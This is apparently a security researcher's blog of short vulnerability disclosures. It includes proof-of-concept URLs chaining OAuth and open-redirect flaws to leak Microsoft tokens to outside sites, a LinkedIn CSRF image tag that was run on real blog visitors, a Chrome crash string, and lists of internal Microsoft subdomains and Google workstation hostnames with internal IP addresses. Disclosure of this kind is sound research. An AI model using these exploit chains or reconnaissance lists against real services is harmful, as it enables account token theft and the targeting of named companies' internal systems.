A simple string to crash Google Chrome

Recently I reported a crash bug in Google Chrome (issue #533361). This issue reminded me of the recent Skype vulnerability - both occur with simple URL strings. So how can you crash Google Chrome? By adding a NULL char in the URL string:

http://biome3d.com/

Unfortunately no reward was awarded as this was deemed to be only a DOS vulnerability. Anyway, making secure software is much harder than finding issues in it. Thanks Google.

Google, Microsoft and token leaks

Some stir recently was caused by OAuth open redirector and even an RFC security addendum was created for it. While this was known for quite some time already, it's still good to remind the general public. So here's another known issue - an Open Redirector in OpenID.
It works like this - whenever "checkid_immediate" mode is used it redirects without any questions asked. And here's an example in accounts.google.com:

https://accounts.google.com/o/openid2/auth?openid.claimed_id=http://specs.openid.net/auth/2.0/identifier_select&openid.ext0.mode=fetch_request&openid.ext0.required=email&openid.ext0.type.email=http://axschema.org/contact/email&openid.identity=http://specs.openid.net/auth/2.0/identifier_select&openid.mode=checkid_immediate&openid.ns=http://specs.openid.net/auth/2.0&openid.ns.ext0=http://openid.net/srv/ax/1.0&openid.ns.ui=http://specs.openid.net/extensions/ui/1.0&openid.realm=http://www.simcracy.com/&openid.return_to=http://www.simcracy.com/a#a

For a full exploit let's just use OAuth app (created by Google) that imports some data from Microsoft: 

https://login.live.com/oauth20_authorize.srf?response_type=token&client_id=00000000401058A9&scope=wl.emails&redirect_uri=https://accounts.google.com

And here's the full Proof of Concept:

https://login.live.com/oauth20_authorize.srf?response_type=token&client_id=00000000401058A9&scope=wl.emails&redirect_uri=https://accounts.google.com/o/openid2/auth%3Fopenid.claimed_id%3Dhttp://specs.openid.net/auth/2.0/identifier_select%26openid.ext0.mode%3Dfetch_request%26openid.ext0.required%3Demail%26openid.ext0.type.email%3Dhttp://axschema.org/contact/email%26openid.identity%3Dhttp://specs.openid.net/auth/2.0/identifier_select%26openid.mode%3Dcheckid_immediate%26openid.ns%3Dhttp://specs.openid.net/auth/2.0%26openid.ns.ext0%3Dhttp://openid.net/srv/ax/1.0%26openid.ns.ui%3Dhttp://specs.openid.net/extensions/ui/1.0%26openid.realm%3Dhttps://www.courlandconsulting.com/%26openid.return_to%3Dhttps://www.courlandconsulting.com/a%23a

If you now inspect the URL, you'll notice that token was sent to my third party site.

And here the real problem with Authentication Providers comes in - is this a Relying Party (Google) or Authentication Provider (Microsoft) problem? Whatever the answer - users are the ones suffering.

Creepy visitor tracking using Linkedin

A few days ago I performed an experiment and added the following code to my blog:

<img src="https://www.linkedin.com/profile/view?authToken=zRgB&authType=name&id=98261032" />

Link in the code snippet points to my Linkedin profile and those familiar with web security will recognize the CSRF here (and the token apparently isn't validated correctly).

So how did the experiment unfold? Anyone who visited my blog also involuntary visited my Linkedin profile. It turns out that around 35% of blog visitors were also logged in to their Linkedin accounts while browsing the Web and my Linkedin profile received more than 800 "profile views" with details about these visitors:

So a little advice - if you prefer privacy don't forget to sign out of your Linkedin account before browsing the Web.

Microsoft's internal subdomains

Outlook.com webmail service has a nice feature - it highlights potentially incorrect e-mail addresses in the "To" field. But what happens if we try to use some obscure subdomains? Well, it looks like the auto-correct feature works just as well for Microsoft's internal subdomains:

As you can see both citrix.corp.microsoft.com and aol.corp.microsoft.com are recognized as valid e-mail addresses, however blabla.corp.microsoft.com is considered an invalid one. Here are some of the subdomains that auto-corrector recognizes as valid ones are:

google.corp.microsoft.com

rally.corp.microsoft.com

citrix.corp.microsoft.com

vmware.corp.microsoft.com

aol.corp.microsoft.com

cirrus.corp.microsoft.com

cisco.corp.microsoft.com

bluephoenix.corp.microsoft.com

twitter.corp.microsoft.com

qualys.corp.microsoft.com

blizzard.corp.microsoft.com

alliance.corp.microsoft.com

amber.corp.microsoft.com

api.corp.microsoft.com

apple.corp.microsoft.com

arm.corp.microsoft.com

ascent.corp.microsoft.com

asml.corp.microsoft.com

aspen.corp.microsoft.com

axt.corp.microsoft.com

blackbox.corp.microsoft.com

cabot.corp.microsoft.com

caci.corp.microsoft.com

cai.corp.microsoft.com

carbonite.corp.microsoft.com

cavium.corp.microsoft.com

How Microsoft is giving your data to Facebook… and everyone else

A lot has been written about dangers of mistakes in OAuth implementations. Here’s another story. Microsoft uses a specialized OAuth scope wli.contacts_emails which is available only to Facebook’s app. An interesting part is that users are never notified that the app is trying to access their data and permission is granted silently. You can try this here (you’ll have to login):

https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=https%3A%2F%2Fwww.facebook.com%2F

As you can see OAuth token was just sent to Facebook. Silently granting permission to Facebook probably is not the worst thing (we do trust Facebook, right?). So let’s continue…

If you try to modify “redirect_uri” parameter you’ll notice that token is issued to any URL within facebook.com domain. So to leak the OAuth token to a malicious third-party an Open Redirect in facebook.com domain would be required. As Open Redirects are usually considered low severity vulnerabilities it's not particularly hard to find one. For this example we will utilize an Open Redirect in Facebook’s authorization flow (by providing an invalid ‘scope’ parameter). It works like this:

https://www.facebook.com/dialog/oauth?type=web_server&scope=invalid&display=popup&client_id=260755904036570&redirect_uri=http://simcracy.com

So by chaining the two bugs we are able to acquire OAuth tokens from live.com users. The complete example is here:

https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fh%5B%5D%26u%3Dgraph.facebook.com%252Foauth%252Fauthorize%253Ftype%253Dweb_server%2526scope%253De%2526client_id%253D260755904036570%2526redirect_uri%253Dhttp%253A%252F%252Fsimcracy.com

If you now inspect the destination URL, you'll notice that Microsoft's OAuth token was sent to a third-party website without your consent.

Lessons learned:

OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” can’t be pointed to an Open Redirect. Also developers should be careful when silently granting access to apps (manually approving an app probably will not make user experience much worse). Timeline: 2013/11/19 - OAuth vulnerability reported to Microsoft 2013/11/27 - Open Redirect vulnerability reported to Facebook 2014/09/16 - Public disclosure

Update [2014/09/17]: Microsoft has fixed the OAuth vulnerability

The threat of login CSRF

Login CSRF is an often overlooked web vulnerability. Developers tend to focus on securing user data and assume that users wouldn't voluntarily give up access to their accounts. Yet with login CSRF exactly this happens - attacker is giving full control of his account to the victim (of course it's a fake account). Once the victim and attacker are in the same trust domain various other attacks become possible.

Consequences can vary:

• attacker can monitor victim's actions
• attacker can interact with the victim without him realizing that a session swap just occured
• some low severity bugs can become exploitable (e.g. an XSS in configuration page, that is visible only to the account holder)
• or just google up the links, maybe you'll find some unexpired password reset links etc. that actually log you into the victim's account

To mitigate this issue don't log in users where that's not required. If it's a password reset link, only reset password, if it's an e-mail confirmation link, only confirm e-mail without loging in the user. And make sure your other login forms are CSRF protected.

Scanning for Google's Active Directory computer names

If you remember ad.corp.google.com from the previous post, maybe you are wondering whether it stands for "Active Directory"? Looks like it does. So here's another list - apparently composed of Active Directory computer names. The list was obtained by sending e-mails to e.g. test@jfarrell1-w.ad.corp.google.com through Gmail.

bbudge1-w.ad.corp.google.com	172.22.71.111
rubin1-w.ad.corp.google.com	172.26.217.98
jfarrell1-w.ad.corp.google.com	100.100.63.199
dario1-w.ad.corp.google.com	172.22.114.234
munjal1-w.ad.corp.google.com	172.23.165.169
bedlam.ad.corp.google.com	172.25.100.6
gene1-w.ad.corp.google.com	172.22.79.134
trade1-w.ad.corp.google.com	172.22.215.182
boss1-w.ad.corp.google.com	172.17.83.209, 172.19.68.53
edgar1-w.ad.corp.google.com	172.19.150.252
phoenix1-w.ad.corp.google.com	172.27.145.248
gilberto1-w.ad.corp.google.com	172.22.118.175, 172.19.54.117
deven1-w.ad.corp.google.com	172.19.16.16
luciano1-w.ad.corp.google.com	172.23.72.189
kieran1-w.ad.corp.google.com	172.19.66.67
jar1-w.ad.corp.google.com	172.22.71.95
mix1-w.ad.corp.google.com	172.17.115.199
angelo1-w.ad.corp.google.com	172.28.114.91
khalid1-w.ad.corp.google.com	172.26.231.132
freddy1-w.ad.corp.google.com	172.29.164.22
brewer1-w.ad.corp.google.com	172.19.45.123
philip1-w.ad.corp.google.com	172.16.61.165
rgupta1-w.ad.corp.google.com	172.19.37.40

Judging by the names it looks like these machines are workstations used by Google employees.